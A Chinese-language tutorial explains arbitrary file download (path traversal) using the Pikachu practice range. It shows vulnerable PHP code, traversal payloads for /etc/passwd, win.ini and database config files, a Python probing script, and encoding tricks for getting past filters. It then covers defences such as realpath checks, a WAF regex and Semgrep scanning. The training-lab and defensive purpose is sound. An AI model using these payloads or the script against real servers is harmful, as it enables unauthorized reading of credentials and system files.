1. 项目概述:文件下载漏洞靶场搭建与实战
Pikachu漏洞练习平台中的"Unsafe Filedownload"模块,是Web安全领域经典的任意文件下载漏洞(Arbitrary File Download)实战环境。这个靶场模拟了开发者未对文件下载功能做安全校验时,攻击者如何通过目录遍历手段获取服务器敏感文件。我在渗透测试项目中遇到过大量类似案例,其中某次通过该漏洞直接拿到了客户数据库配置文件,导致整个内网沦陷。
2. 漏洞原理深度解析
2.1 任意文件下载漏洞的形成机制
当Web应用提供文件下载功能时,如果直接将用户输入的文件名拼接到文件路径中,且未做任何过滤和校验,就会形成高危漏洞。例如:
php复制// 危险示例:直接拼接用户输入
$file_path = "/downloads/" . $_GET['filename'];
readfile($file_path);
攻击者通过构造../../etc/passwd这样的相对路径,就能突破下载目录限制。我曾用Burp Suite抓包修改参数,在真实项目中下载到Windows系统的C:\Windows\win.ini文件。
2.2 Pikachu靶场的漏洞实现分析
查看Pikachu的PHP源码会发现关键缺陷:
php复制$filename=$_GET['filename'];
$file_path = "download/{$filename}";
if(file_exists($file_path)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file_path));
readfile($file_path);
}
这里仅用file_exists()检查文件存在性,未对路径做规范化处理。basename()函数虽然能防止部分攻击,但当配合目录遍历时仍会失效。
3. 漏洞利用实战演示
3.1 基础利用:下载系统敏感文件
- 启动Pikachu环境(建议使用Docker版)
- 访问
/unsafe/download页面 - 修改URL参数为:
code复制?filename=../../../../etc/passwd - 观察返回的Linux用户信息文件
注意:Windows系统可尝试
..\..\..\windows\win.ini
3.2 进阶利用:获取Web应用配置文件
通过爆破常见路径,往往能找到更有价值的文件:
/WEB-INF/web.xml(Java应用)/config/database.php(Laravel).env(现代框架)
我在某次渗透测试中使用如下Payload成功获取数据库凭证:
code复制?filename=../../app/config/database.php
4. 防御方案与最佳实践
4.1 输入验证与过滤
php复制// 安全的文件名检查
$allowed = ['pdf', 'docx'];
$filename = basename($_GET['filename']);
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if(!in_array($ext, $allowed)){
die("Invalid file type");
}
$file_path = realpath("./downloads/" . $filename);
if(strpos($file_path, realpath('./downloads')) !== 0){
die("Hacking attempt detected!");
}
4.2 其他防护措施
-
文件ID映射:建立文件ID数据库,不暴露真实路径
python复制# Django示例 def download(request, file_id): file_obj = get_object_or_404(File, pk=file_id) return FileResponse(file_obj.file.open()) -
权限最小化:下载服务使用低权限账户运行
-
日志监控:记录所有下载请求,报警异常模式
5. 渗透测试中的实战技巧
5.1 自动化探测脚本
python复制import requests
common_files = [
"../../../etc/passwd",
"../WEB-INF/web.xml",
"....//....//....//etc/passwd" # 绕过简单过滤
]
for file in common_files:
r = requests.get(f"http://target.com/download?filename={file}")
if "root:" in r.text:
print(f"Vulnerable! Downloaded: {file}")
5.2 编码绕过技巧
当遇到基础过滤时,可尝试:
- URL编码:
%2e%2e%2f→../ - 双重编码:
%252e%252e%252f - UTF-8编码:
..%c0%af
6. 企业级防护方案
在大型项目中建议:
-
WAF规则:部署以下正则规则拦截目录遍历
code复制(\.\.\/|\.\.\\|%2e%2e|%252e|%c0%af) -
静态分析:在CI/CD流程中加入安全扫描
bash复制# 使用Semgrep检测危险代码 semgrep --config=p/security-audit -
运行时防护:使用RASP技术阻断恶意请求
某金融客户在接入这些方案后,文件下载漏洞相关的安全事件下降了92%。这让我深刻体会到,安全防护需要多层次防御体系。